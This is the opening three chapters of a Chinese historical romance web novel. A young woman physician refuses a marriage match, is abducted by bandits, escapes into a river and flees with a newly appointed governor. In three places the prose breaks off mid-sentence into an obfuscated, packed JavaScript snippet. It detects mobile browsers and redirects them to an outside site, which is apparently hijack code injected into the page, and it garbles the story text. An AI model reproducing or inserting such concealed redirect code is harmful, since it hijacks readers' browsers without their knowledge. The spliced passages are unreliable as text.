《我觉山高》 1. 提亲 中秋刚过，永州城南白衣巷一家小庭院里，老槐树已是大半黄叶，月亮躲在乌云里，阵阵风起，槐树叶跟着落了一地，也有两片乘着风就钻进窗户飘到了里屋，烛火也跟着晃动起来。 秀珍赶忙走过去关上窗门，又回婆婆郑氏床边候着。好一会儿，郑氏才将药喝完，顺手将药碗递给秀珍，转头向对面桌边坐着的儿子道：“既然阿梨不愿意，我明日还是去你舅舅家一趟，跟你舅妈好好说说，把陆家这桩婚事给回了。” 张进点点头：“是早回了好，只是您这身体还是不要劳累了，得空我去一趟罢。” 秀珍正走到桌边放下碗，看着他道：“你不是说新任抚台大人要到了，最近县衙都忙得很，又哪里得空？陆家喊我娘来说媒，她得意得很，还不知道怎么应承人家的，你去泼盆冷水，一准又被我娘骂。” “你去确实不合适，”郑氏摆摆手道，“又没多远，不至于就累着了。明日秀珍陪我一起回趟娘家，把孩子们都带着。” 秀珍有些为难：“娘，真就不劝劝阿梨吗？她确实也不小了，我知道她眼光高，但我们这小门小户的，还能攀上达官贵人不成？陆家这条件在城里也找不出几家了。” 郑氏与张进对望了一眼，却没再说话，张进站起身道：“娘，时候不早了，您早些休息，我们也回房了。”郑氏朝他挥了挥手，张进赶忙拉着秀珍就出了房门。 秀珍跟出门几步便气呼呼甩开张进的手：“这是做什么？到底有什么不能提的？男大当婚女大当嫁，这几年里都拒了多少婚事了，你们当真打算让阿梨做老姑娘……？” “你小声些！”张进回过身捂住了秀珍的嘴，指了指还亮着灯的西厢房，秀珍不情愿地扒拉下他的手，不再言语，不情不愿被张进拉回了房，关上门正要张口再问，张进已回道：“当初舅妈给你张罗那几门亲事，可都比我家阔绰得多，你怎么偏要嫁我？咱们总不能强迫阿梨。” 秀珍红了红脸横了他一眼，想说的话都咽了回去，走到床边看一儿一女面对面侧躺着，已然进入了梦乡，伸手替他们掖了掖被子。张进也坐过来，笑着去捏那两张胖乎乎的小脸，秀珍笑打了他几下：“别又弄醒了。” 西厢房里周梨停下了笔，关门声后除了风声再也没有别的声响，她推开窗朝外望去，瑟瑟秋风迎面吹来，月明星淡，满院黄叶纷飞，看到兄嫂房里熄了烛火，她才关上窗，提笔打算继续抄会书，但看着这满纸胡编乱造的才子佳人的烂俗故事，不免轻轻叹了口气。重新拿了张纸，用行书挥就了一首辛稼轩的《水龙吟》，又觉好笑，便放下笔去睡了。 第二日一早，周梨便去仁安堂上工，西门大街上已经熙熙攘攘很是热闹，仁安堂是城里的老字号药房，靠近西津门，就在西门大街旁的盐官巷里，周边酒楼、茶馆和各类店铺林立，十分繁华。坐堂的陈锡山大夫又妙手回春，所以生意很是兴隆。周梨已在这里干了五六年，因为她会写字，这里又愿意招女子做工，一开始便在柜上抄抄药方记记账，渐渐又帮着记录医案，耳濡目染，药也都认识了，医理也懂了些。后来陈锡山见她聪慧，更是一时兴起让她拜师，正经教起了她医术。周梨从未想过自己会从医，但既然能赚钱谋生，倒也是条不错的出路。 周梨进门时，店里只几个打杂的在，师父还没有来。李掌柜正在和来卖药的背篓客说话，见着周梨便打住了话头，背篓客也就客气地告辞了。周梨笑着对李掌柜道：“这人前日才来卖药的吧，今日又有药卖吗？哪里这么多药好采，我改天也去采些来卖。” 李掌柜应道：“有这样的好地方哪能便宜告诉了别人去？姑娘白日里在药房挣钱，晚上还给书坊抄书，嫁妆早该攒够了吧。” 周梨坐到诊桌前，拿起一本医案翻起来道：“我这才能挣几个钱呀！何况谁又嫌钱多不成？” 李掌柜笑着摇摇头，还待说些什么打打趣，这时有人快步冲进了医馆喊道：“大夫，烦请出个诊，我家阿瑞病得有些重。” 周梨转头望过去，来人是个三十来岁的庄稼汉，她认得是云泉乡夏府村的王保君，他儿子只有七八岁，自小体弱，带来仁安堂看诊过，师父给用了几次药后已经大好了。 李掌柜问道：“人怎么没带来呀？” “昨天夜里就泄了十来次，坐马子上就起不来了。”王保君边抹头上的汗边说着，“还时不时地吐，连口水都喝不进，实在没办法背过来。” 周梨道：“我师父应该马上就到了，你先坐会等等吧。” 王保君听了这话面上更急了几分，转身向门外不住张望，恨不能下一刻就能把陈大夫看进眼里。 里面李掌柜也急道：“陈大夫大概不会来早，昨日陆管事来查账，我们晚上一起去喝了点酒，席上说得高兴，陈大夫就多喝了点。” 陈锡山已近五十，除了热衷医术，就是好酒，对其他事务都不关心，凭他的医术单开个医馆也定是生意兴隆，可他连药材买卖都懒得操心，在仁安堂一待就是十几年。仁安堂的东家陆志远也待他不错，给的月钱丰厚，偶尔醉个酒午后才来坐堂也无不可。 王保君听了更急不可耐：“这可咋整呀？我天不亮就往城里赶，这一大会功夫，还不知道我家阿瑞现在怎么样了？” 李掌柜过来安抚他：“你要不再跑远些？往城东去寻寻别的大夫，肯定比等陈大夫要快。” “你知道我家阿瑞之前看过多少大夫，直到进了你们仁安堂看了陈大夫才算对症了，这会你让我找谁能放心？”王保君急得跺了跺脚，忽而又想起来巴巴朝周梨望着，“周姑娘，你对那阿瑞的情况都了解的，麻烦你去一趟吧！” 周梨还未说话，李掌柜已经抢先道：“那可不行，周姑娘毕竟是女子，她一个人肯定不能去那么远出外诊的，不安全。” “我去一趟罢。”周梨站起身抓了些白术、党参和茯苓等药材放到药箱里。 李掌柜忙过来拦住：“姑娘，这可是陆老夫人交代的，你一个人去可使不得，万一遇到山匪……” 周梨打断道：“救人要紧，这附近一两年都没听说出现过山匪了，哪至于出了城就给我碰上了。走吧！” 王保君高兴地应了两声，快步跨了出去，李掌柜还待再拦，周梨已经背着药箱小跑出了门，跟着王保君往西津门去了。 此时白衣巷内，秀珍她娘李氏拎着一篮猪肉进了张家门，秀珍迎了出来：“娘怎地这么早？姑妈还说今天去看您呢！”李氏四处望望，笑道：“你爹今天宰的猪肉好，我便拣上几块趁早送过来了。姑爷和表姑娘这么早都出门了？”秀珍接过篮子点了点头。 厅堂里郑氏和孙儿、孙女刚用完早饭，可儿大约七八岁，见着外婆忙跑出去喊了声，羽儿才三四岁，也迈着小短腿跟着姐姐跑过去抱住了外婆，奶声奶气地嘀嘀咕咕。郑氏也迎出门喊：“嫂子，吃过了没？快进来坐！” 李氏答着吃过了，打发了姐弟俩去一边玩，抽开身快步走进了厅堂。秀珍提着篮子放进了厨房，也跟着旋进厅堂收拾了碗筷出来。郑氏请李氏坐定后说：“正准备吃过早饭跟秀珍回娘家看你们，没想到你这么早就过来了。”秀珍和张进是姑表兄妹结亲，郑氏和李氏虽是亲家，却依旧姑嫂相称。 李氏笑道：“我也不拐弯抹角了，想必你也是为了那件喜事。陆家那边实在上心得很，已经来问过两遍了，我这不得已又赶早来问个信。怎么样，你家阿梨满意得很吧？” 这时秀珍又端来两杯茶，放在桌上后便站立一旁。“嫂子先喝茶，”郑氏端起茶杯喝了一口道，“这事我真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047229|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过意不去，实在对不住嫂子这么操心。不瞒你说，我私下里也觉得这是门顶好的亲事，奈何阿梨觉得高攀了人家，只是不愿。我到底只是她舅母，实在不好强迫她。” 李氏本来志得意满，这个回答让她十分意外。她是一直知道这位表姑娘长得漂亮，心气高，当初引得那秦指挥要娶她，大闹了一场，只是这寄人篱下的出身，到底没能如愿进秦家门。后来来说亲的都是些小门小户，全被拒之门外，渐渐也就门庭冷落了。但陆家可是这城里数一数二的富户，更何况陆志远年纪轻轻，接手家业以来生意越做越大，她如今年纪也大了，又在陆家的药房干活，要嫁过去续弦做正妻，又得陆老太太看重，简直就是一步登天，哪有什么不愿的？ 她因为帮秀珍她爹给陆府供着猪肉，与陆府的管事妈妈相熟，也因为她跟张家是亲戚，陆老夫人身边的徐妈妈才托她来说媒。她对这天大的好事当然乐见其成，若是周梨真嫁过去当了家，她这沾亲带故的长辈在陆府来来往往得多风光，更别提其他实实在在的好处了。所以她想当然觉得这对于周梨来说也是天大的好事，当即在徐妈妈面前夸下了海口的。 她按下心中那团无名火，尽量心平气和：“阿梨到底是未出阁的姑娘，肯定是面皮薄，不好意思。她今年也有二十三四了吧，瞧瞧外头能有几个这个岁数还没嫁的啊，秀珍这个年纪，羽儿都生了。你虽不是她父母，却是她唯一的长辈了，你不给她做主把个关，说句难听的，再过几年可就真嫁不出去，过了这个村可就没这个店儿了。什么高不高攀的，都是虚的。陆老夫人因为去年在庙里上香，突然晕倒被阿梨救了，就对她着实喜欢得紧，当着我的面说就看中阿梨的人，嫁妆什么的都不用操心，他们聘礼会准备好，到时候阿梨带一部分做她自己的嫁妆，另一部分就当是报答舅母的养育之恩！凭着陆老夫人这么上赶着，谁攀谁呢！阿梨那模样，又能读书认字的，多得人喜欢，再说咱姑爷好歹衙门里当差的，哪里能让表姑娘受半点委屈。” 郑氏听了这一大番道理也只点点头：“理是这么个理，你说得都没错，可阿梨就是主意大得很，我是做不了她的主！” 李氏见郑氏油盐不进，已有点着恼，夹枪带棒道：“是不是有什么其他缘由？难不成还等着秦指挥呢？那……” 秀珍在一旁立马打断她：“娘，你胡说什么呢!”他们姑嫂本就不多亲近，又因为秀珍当年执意要嫁张进，李氏嫌贫爱富不同意闹得很不愉快。这几年倒是缓和了些，秀珍就怕二人因为此事起争执，才特地杵在这。 “咱们都是一家人，也没什么不好说的，阿梨我还是了解的，秦指挥早已成了亲，纵然秦家门第再高，她也不会去做妾的。”郑氏显然也有些生气，“但嫂子你与陆家相熟，难道不知道陆志远那妾室是个难相与的？” 李氏恍然大悟，周梨是登过陆家门的，怕是看出了什么端倪。这位妾室吴娘子确实是个厉害人物，出身贱籍，傍上陆志远脱了籍，陆志远原配去世后，有意将她扶正，奈何陆老太太不允，但内宅一应事宜确实是吴娘子在掌管。 她避重就轻道：“内宅现在是这个吴娘子做主，但那是因为老夫人年纪大了，阿梨嫁过去自然就轮不到她了，她到底只是妾。” “她跟陆志远感情深厚，已经到手的东西，怎么能让阿梨抢走呢？”郑氏摇摇头，“阿梨又有什么底气去抢？到底不是门当户对，我们帮衬不了，所以这好处我们也享不了，还是烦嫂子好好给他们回了吧！” 李氏被点破她贪着这门亲事的好处，正要发作秀珍又上前给她添了杯茶，抬眼示意她不要再讲了。她气得一拍桌子，指着秀珍骂道：“你个胳膊肘往外拐的东西！你们就留着她吧，养她一辈子，看你到时候好不好受！”说完站起身气冲冲就走了。 2. 宿命 太阳逐渐西沉，西津门、镇南门却涌进了越来越多的百姓，其中有不少老弱妇孺，慌慌张张大多随身都携带着包袱，都是听说水西边又来了山匪，城里有亲戚可奔的心里倒还镇静些，没有着落的着急忙慌也想着先进了城再说。 县衙、府衙内也都聚集了一群青壮年男子，或多或少受了点伤，都在叫喊着山匪无法无天，求青天大老爷做主。王保君也在府衙里头，脸上都是淤青，正无头苍蝇一般不知向谁求告。知府邢洵已大概清楚是四会乡遭了大伙土匪，他一面安排书吏来录口供，了解具体情况，一面派人去知会兵备道衙门和卫所，请求派兵追剿。 四会乡村民口述几乎都是被抢了多少粮、多少钱财和牲口，轮到王保君，书吏问道：“四会乡哪一里的？什么名字？被抢了些什么？”王保君急道：“小的是云泉乡夏府里的，叫王保君。” 那书吏疑惑地抬起头问：“云泉乡也遭劫了？” 王保君老实地摇头：“没有，咱们村离四会乡不远，但没遭劫，是周姑娘，我请她去给我儿子看诊，将近午时我送她回来，才出村口不远就有几个人跑过来，对我一顿拳打脚踢，给周大夫套上麻袋扛着就跑了，我爬起来追在后面，还没到四会乡，就被四会乡逃跑出来的乡民冲散了，我打听了也没有其他人被抓，不知道为什么要抓周姑娘？” 书吏愣了一愣：“哪个周姑娘看诊？仁安堂的？” 王保君忙道：“对对，就是她，求求大人快派人去找找，都怪我把她喊出城，要不也遇不到这事，求求大人！” 那书吏这才反应过来，急忙对一旁的皂隶道：“你赶快去告诉县衙的张进一声，他妹妹被山匪劫走了！” 周梨被拦腰扛了一路，头昏脑胀，又猛地被卸在了船板上，药箱在一侧狠狠杠到了她的腰，她在摇晃中挣扎着撑起麻袋坐了起来，只感觉身边来来往往几个人不停往船上搬东西。 “这里怎么还有个人？”周梨听到面前一个粗犷的声音响起，那个扛她的山匪回答：“禀将军，这是给二大王物色的压寨夫人。”那“将军”怒道：“大王吩咐了这次来只是给新来的个狗官一个下马威，不要抢良家妇女！” “这是狗贼秦皓的相好，他杀了咱们那么多兄弟，抢他一个相好怎么了？二大王不是总嫌他那几个夫人粗鄙，说要找什么通文墨的，这个送过去准得他欢心，说不定您也能升个总兵、都督当当。” “将军”哼了一声，没再说什么，转身下了船。周梨原本以为她只是被随手掳的，这样听来，是刚好被认识她和秦皓的山匪撞上了？这么巧吗？掳她的几个人她都没见过。又或者她早上出城就是在计划中的，王保君吗？可他儿子确实吃坏了肚子，病得可怜，如果只是为了把她骗出城，实在不需要真病。 正想着，一片嘈杂中夹杂着摇橹声起，船离了岸溯流而上，她的心七上八下地随着船摇晃着，她抱住身旁的药箱，努力让自己镇静些，好在到达目的地前，她应该不会有什么危险。 这伙土匪大部队沿着陆路回山了，剩下十几个人押着两船抢来的钱粮，要从水路运回。他们这一伙五六百人从幽州出劫，一路到永州如入无人之境，遇到两队民壮，一看他们人多势众便四散奔逃了，卫所的官兵这时候估计开始出发追击他们了。 夕阳的余晖洒在乌江江面上，波光粼粼。周梨在的这条船不大，有七八个山匪，刚开始他们还有些担心被官兵追上，随着船渐渐逆流驶进江心，快到达幽江与乌水交汇的三江口时，明显都放松下来，除了驾船、生火煮饭的，还有几个开始坐在船头吹嘘自己这次出劫如何勇猛，远看着倒与江上其他船只没什么区别。 正聊得热火朝天，其中一个不自觉往船篷里看了一眼周梨说道：“葛大富，你们抓的莫不是个哑巴吧？这一路连个声都没听见。”葛大富道：“滚你娘的！”另一个也道：“这都到江中央了，还麻袋捆着干啥，咱几个大老爷们还能让个娘们跑了？快解开让兄弟们也看看是什么货色，要是二大王看不上眼的，不如便宜了兄弟几个！” 其他几个听了也猥琐地哈哈大笑起来，都起哄要去解麻袋。 葛大富笑骂了声，也跟着走过去，一人手快先掀开了麻袋，当下太阳已经完全落山，篷内更显得昏暗，几个人都凑近了才看清，这姑娘柳叶细眉，正睁大了一双圆圆的眼睛瞪着他们，一张鹅蛋脸，皮肤白皙，鼻子小巧却高挺，头发虽凌乱却更显得楚楚可怜，神情甚是冷傲，确实好看。 其中一人吹起口哨，其他几人都跟着浪笑，一个色胆包天的道：“这样的好货色，就让咱们先尝尝鲜，快活快活吧！” 另一个附和道：“就是，这船要走个两天，没劲得很，哥几个轮着来！” 说完几人又是一阵大笑，那葛大富正准备出言阻止，可那手快的已经摸上了周梨的脸，周梨浑身一颤，耐住恶心之感，突然对他们笑了起来，几人不觉看着她一愣，周梨右手趁机从背后闪出，迅速朝这几人的眼睛处挥撒了一把石灰粉，几人眼睛瞬间被灼伤，全都捂着眼睛叫喊起来。周梨抱起药箱站起身，却被一人挣扎着拉住了左边袖子，她一脚踹向那人胸口，伴着衣料撕裂的声音，那人握着被撕下的衣袖向后倒去。 周梨立马向船尾跑，做饭的两个人听到篷内的动静正往里跑，她抬起手使劲将药箱砸向来人的脑袋，那人猝不及防被砸破了头，跌倒在一边，后面跟着的一把抓住周梨的右手，没想到她左手还拿了一只簪子，此刻正狠狠地扎进了抓着她的手腕上，那人也不禁疼得松开了手。 周梨趁着这个间隙钻出了船篷，可那摇橹的又冲了过来，周梨没有半点犹疑立马向江中跳去，摇橹的堪堪又扯住她的左袖，拉扯间一整个里衣袖子又被扯了下来，周梨趁势跌入了江水中。 摇橹的抓着一截衣袖趴在船沿上向江中望去，天色昏暗，他半晌都没有看见人落到了哪里，江面上只能模糊看清一只不久前跟他们相遇的小船，顺流而下也已渐行渐远，他回头看那几个受伤的，才跌跌撞撞摸出来，不是叫喊着寻水洗眼睛，就是在流着血，这只船才刚从三江口驶入上幽江，另一只船本来就在他们前面，这一闹腾他们这只船已经在下行，离得更远了些，似乎也没听见这边的动静。 周梨潜在水中顺流游出了好一段路，才仰面将口鼻露出水面换了一口气，又继续潜入水中，如此反复，待她探出头回看时，已经看不见那只船，月光很暗，天已经彻底黑了，似乎并没有人来追她，她这才松了口气。 可她身处的水面明显比刚下水时更湍急些，她不了解这里的水况，也没有力气再游很久，环顾四周，除了茫茫一片奔流的江水，就只剩一望无际的黑暗，她不禁苦笑，此情此景何其相似，从被抓到跳下船，她都没有特别恐惧，但此时无助与悲凉像潮水般涌来，仿佛转瞬便能将她淹没。 就在这时候，前方不远处亮起了两只火把，黑暗中的火光，似乎怕人看不到，还交相挥舞了起来，将她回忆的晦暗一点点驱散。她没有再多想，只奋力朝着火光游去。 火光所在的乌篷小船上，举着两只火把的平安一屁股坐在了船板上:“累死我了，我这都挥半天了，真能看到吗？”说着张开双手将一只火把递给旁边的程顺：“你也拿一只，我手都酸了。”程顺接过火把，探向船外水面照了照，回身问道:“大人，还点着吗？怕落水的人没来倒引来了歹人。” 顾临注视着水面道:“再等等。”在他身边的马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047230|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐也开口说:“那姑娘还不知道会不会水，可能就是寻死的。”平安听他这么一说，突然觉得有点凉嗖嗖，举着火把悠悠道:“那我岂不是在招魂？”正在这时一只手搭上了他面前的船沿，吓得他尖叫了一声，往后挪了挪，差点没抓住火把。 周梨手得了力，一使劲让上半身出了水，右肩膊顺势趴在了船沿上，左手伸出却没找着着力点，程顺伸手准备拉她一把，但瞧见她左臂赤裸，不自觉便收回了手，周梨正狼狈挣扎之际，顾临上前一步蹲下身，握住她左手用力一拉，周梨一整个便翻上船，还没待她反应，身上已经多了件衣服。 她撑起上半身抬头看去，顾临脱了外衣给她披上，正半蹲着看她，火光影影绰绰，周梨看到眼前之人眼眸澄澈、清亮，却闪烁着悲悯，她裹紧了顾临的外衣小声道:“多谢！”随即站起身，仔细整理了一下，又向众人福了福:“多谢各位相助。” 平安这时才尴尬地站了起来，同程顺、马齐一起随顾临拱手还了礼。 这只小船比周梨跳下来的船还要小一些，船上除了这四人，还有一名船夫。 顾临请她入了舱内，吩咐平安拿了干帕子和茶水糕点给她，待她擦干了头发整理好，顾临也入内坐下，倒了杯茶水递给她:“姑娘先喝杯茶暖暖身子，船家说不久便能到五总码头，到时候让平安给你寻一套衣服换过。” 周梨接过茶杯喝了一大口，抬眼道:“劳烦公子了。”顺便仔细打量了顾临一番，他已经换了一件青色氅衣，头戴方巾，一副儒生打扮，身姿瘦削却挺拔，也就二十几岁的样子，浓黑长眉，一双丹凤眼，鼻梁挺直，嘴唇薄而坚毅，自有一身清贵气质。 周梨低头又喝了一口水，笑想：“这便是话本里的偏偏浊世佳公子，姑娘们的春闺梦里人吧？”随即惊觉自己在这种境遇下还能有这种想法，食色性也，诚不欺我！她放下茶杯，只觉饥肠辘辘，这一天只早上吃了些，正准备伸手拿些吃食，顾临已经提袖将碗碟放在她面前，周梨又抬头看了一眼便自顾自吃了起来。 顾临一直安静地等着她吃完才问道：“不知姑娘家住哪里，今日因何遇险？” 周梨答道：“我住在永州城里，今日出城意外被山匪所掳。” 顾临说：“我们正好也去永州城，姑娘如不介意，可与我们同行回城。”周梨再次道谢，顾临紧接着又问:“只是这城郭附近也有匪如此猖獗吗？” 周梨摇头：“从前也是离得远的乡县里闹匪，这伙山匪大约是幽州过来的，我听到是因为朝廷新派了官员过来，他们想示个威，毕竟前任巡抚就是因为匪乱太过辞官了，后面派来的也压根没敢来上任。” 平安听到这话在舱外探头道：“岂有此理，大人……”可话还没说完就住了嘴，缩回了脑袋，周梨有些疑惑。 顾临接着问道：“他们掳了很多人吗？” 周梨又无奈地摇头：“他们抢了很多东西，但人似乎就掳了我一个。” 顾临有些意外地看了看她，周梨却问他:“公子是看到我跳下水了吗？” 顾临点了点头说:“我们从乌水过来，在三江口遇到你们的船，听到陆续几声喊叫，就看到你跑出来跳下了水，后来便没有了动静，我想你定是会水在自救。只是你是怎么逃脱的？” 周梨轻描淡写地说道：“我随身带了石灰粉防身，伤了几双眼睛，砸破了一个脑袋，又用簪子扎穿了一只手臂，侥幸就跑出来了。” 平安几人在外头听了，都抬眼交换了下眼神，仿佛都在说：这女子倒是蛮得很。顾临却低头不语，敛眸沉思起来。 周梨只道这些儒生君子大抵是不能接受女子如此凶悍的，也不在意，又拿了块糕点吃了起来。 3. 奔逃 船慢慢向五总码头靠拢，这是永州境内的一个小码头，依山傍水，到永州城只有两个时程的水程。 程顺打听了今日山匪出劫并没有到这，倒是有一队官兵不久前才从这里经过，周梨跟着顾临下了船，同程顺一起进了一家客栈，马齐和船夫留在船上看顾行李，平安被打发了去找成衣铺。 这几日来往船只本就不多，这个时辰客栈内只有两桌客人在饮酒谈天，周梨虽穿着男装，但和顾临走在一起，旁人只道是他家女眷，也只多看了两眼。 顾临拣了一张桌子坐下，周梨也跟着坐在一旁，虽已是秋日，幸而还没有凉意，一阵穿堂风伴着桂花香吹过来，周梨的衣服虽然还有些湿，却并不觉得冷。 程顺去跟店家要了几间房，点了几个菜，四下仔细看了看，似乎没什么异样才立在顾临身后，顾临示意他坐下，他抱拳称“是”，在桌边正襟危坐。 周梨看那行事做派一点不像寻常随从，倒有些了悟。 不多久饭菜上了，平安还没有回来，顾临让程顺先送些到船上，程顺有些迟疑，但整个码头都风平浪静，来去也快，便匆匆提着食盒去了。 顾临请周梨先用饭，周梨道:“我刚刚茶水吃得太多了，先去方便一下，等他们回来再吃吧。”顾临点点头，唤来店小二引着周梨去了后院的客房。 后院桂花香气弥漫，周梨闻着只觉沁人心脾，去客房收拾完后，便往香气浓郁处寻去，想摘几枝来掩一掩身上江水的味道。 走过一段蜿蜒石板路才看见桂花树倚着后门而立，她正要走过去，却听到一个声音从旁边的客房传来：“我看着他们进的客栈，怕他们起疑，才特地绕进后门来通报的。” 周梨顿时警戒心起，此时另一个声音响起：“南安过来的，年纪也对得上，八成就是。” 周梨一听这声音，立马浑身鸡皮疙瘩都起来了，这是那个“南将军”！他竟然没有跟着船走，还潜在这里做什么？ 那个南“将军”接着说道：“宁可抓错也不能放过，再没有这样的运气了。你先带几个人绕去前门堵着，挡住那个随从，我带人直接冲进去抓人，官兵现在往西南去了，我们抓住人后直接从后门往北撤……” 周梨听到这怕他们突然冲出来，屏着气悄声往回跑去，快到客栈大厅时，她担心周围还有眼线，吸了口气缓步走到顾临身边，附耳小声问道：“你是来上任的巡抚吗？” 顾临抬眼意外地看着她，点了点头。 周梨继续小声道：“后院有匪，马上跑。”说完拉着顾临的手就往门口跑，果然才出门，便有一个人从右边冲过来抓住了周梨的胳膊，顾临停下来一脚将那人踹倒，两人继续向码头方向跑，可计划来堵前门的几个山匪已经提刀向这边跑来，堵住了去码头的路，顾临和周梨立马掉转头，向西南方向跑。 冲进大厅准备抓人的南“将军”，没看到人也跟着追出来，一行人前后八九个提着刀，看到的人也都四散躲避。 顾临和周梨拼命往前跑，幸而今夜一片漆黑，客栈周边点着灯，还能看到些，跑出一段后，二人也只能看到对方模糊的轮廓，后面的山匪去拿了几只火把，离他们更远了些。 但四周似乎都是荒芜的，没有可以藏身之处，顾临边跑便问：“长洛巡检司是不是在这个方向？” 周梨喘着气答道：“是，要翻过前面一座小山。”她在永州待了六七年，这里还是知道的。顾临说：“好，我们先进山。” 这座小山不高，但山路总是崎岖的，尤其是在漆黑的夜里，可这些对于现在的顾临和周梨来说，都成了最好的屏障，且敌在明我在暗，二人艰难爬到山顶，看着山腰零星散着的火把，才终于长舒了一口气，略微休息了一会便又开始往下走。 上山艰难倒还稳，下山却是艰险，顾临在前周梨在后，举步维艰，虽然特别小心谨慎，周梨还是不幸一脚踩空从一侧滚了下去。顾临听到声响，伸手去抓却没有抓到，只辨明了大概方向，寻了过去。 周梨滚到一个缓坡上停了下来，她的腰本来下午就被药箱杠到，本来不觉得多疼，这一滚下来就感到一阵酸疼，脚腕也疼得厉害。 她突然感到筋疲力尽，只躺着不想再动，可又听到顾临在附近小声喊道：“姑娘！”她无奈爬起靠着山壁坐着，小声回应道：“我在这！” 不一会儿，顾临找到了她，看她坐在那揉脚腕，轻声问道：“受伤了吗？” 周梨道:“嗯，脚扭到了。” 顾临往山顶看了看，那伙人还没追来，便蹲下来道:“我背你下山。”周梨看着他略显文弱的身影迟疑道：“你确定在这山路上能背得动我？”顾临倒认真地背过身去，拍拍自己的肩膀道：“先上来试试。” 周梨顿了一顿道：“公子……大人，你先走吧！他们未必能发现得了我，你跑了说不定我就安全了，毕竟他们要抓的只是你。你背着我到时候谁也逃不了。” 顾临回头道：“你也知道是说不定，你一个和我一起出现的女子，若单独被他们抓住，会是什么下场，你应该很清楚。如若一起被抓，目标是我，你倒安全点。” 周梨看他眼神坚定，正打算爬上他的背。突然一只大狼狗窜到他们面前，冲着他们狂吠。 周梨最是怕狗，吓得忙抱头往后缩，大狼狗见状更是要上前撕咬的样子，顾临看着狗异常凶狠，估计也打不过，情急之下只能扑过去护住周梨，背对着大狗挡在外面。 那大狼狗却没有近身就被喝止了，有几个官兵举着火把近前喊道：“指挥，这里有人！” 秦皓几步跨过来，看见有两个人紧紧抱在一起，似乎黑暗中才适应火光，那男子回过头抬手挡住眼睛朝他们看来，里面的女子也微微抬起了头，他看清后惊喜地道：“阿梨！”接着又上前一步推开顾临，在周梨面前蹲下，看她蓬头垢面、衣衫散乱，身上披着的一件外衣，已经滑落一半，一只手臂裸露在外，他立时拔刀抵在顾临脖子上。 周梨站起来想推开秦皓，可脚腕疼得厉害，又跌了回去，只得伸手挡在顾临前面喊道：“你做什么？” 秦皓不解地看着周梨，顾临看他二人情形，意识到来人并不是因为认出他的身份才拔刀，指着旁边正十分安静的狼狗道：“误会，是这只狗要伤人。” 周梨这才想明白这是哪一出，忙道：“不是你想的那样，是他救的我！”秦皓正怒火攻心，似乎听不进他们的话，依旧横着刀。 周梨回头看顾临的脖子已经渗出许多血珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047231|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，语带哀求道：“宏文，你先把刀拿开！” 秦皓听周梨这么喊他，才回过神，慢慢收回刀。 周梨从中衣上撕下一块干净的布叠起来，给顾临捂住脖子：“还好，伤得不是太深。” 顾临轻轻嗯了一声，伸手将周梨肩上的外衣掩了掩，又收回手自己按住布条，周梨松开手，低头望了望身上的衣裳，心中动容，又担心地看向顾临的伤口。 秦皓看在眼里，正要开口问她发生了什么，突然有人报：“指挥，山上有动静。” 周梨忙接道：“是追杀我们的，跟下午掳我的是一波人。” 秦皓听了转头对身侧的士兵吩咐：“你们两个先送他们下山找县衙的张进，其他人随我继续上山！”说完看了一眼周梨，便带着几十人和那条大狼狗往山上去了。 留下的士兵一胖一瘦，那个胖士兵举着火把道：“二位，请走吧！” 周梨先站起来走了一步，疼得往旁边一歪，顾临正站起身一手扶住了她，那个瘦士兵见状准备去背她，胖士兵却拦住他：“可不敢，仔细大小姐知道扒了你的皮！”然后指着顾临说：“你来背！” 顾临又矮下身让周梨上来，周梨犹豫：“可是你受伤了。”顾临道：“我伤的又不是腿，不要紧，你刚好帮我捂着伤口。” 周梨只好趴上他的背，右手环住他的脖子捂住伤口，左手搭在他的肩膀上，由他背了起来。 两个士兵一前一后举着火把，下山虽难，现在到底能看得见，稳当了许多，几人寂静无声专注前行。 周梨却思绪飘渺起来，她闻着顾临身上淡淡的檀香味，仿佛进了父亲的书房，桌上的炉烟袅袅升腾，父亲提笔站在书案前笑着向她招手。忽然又晃晃悠悠来到一棵大树下，母亲抱着弟弟同她坐在秋千上讲故事，她转头想看清母亲的脸，却始终模糊一片…… 顾临终于踏上了平路，略感轻松些，才发觉左肩被浸湿了，周梨正靠在他肩膀上似乎睡着做噩梦了，他想着这姑娘这一天的际遇，也确实太惊险了，但看她右手还紧紧给他捂着伤口，不禁有些好笑。 在平地上还没走上一段路，迎面便跑来几个人，两名士兵向他们拱了拱手道：“秦指挥让我们把人给你们带过来。” 周梨听到说话声，清醒过来，却发现自己靠着的肩头湿了一片，正十分尴尬，张进已跑过来问道：“阿梨，你受伤了吗？” 她趴在顾临背上笑道：“哥，我只是扭伤了脚。” 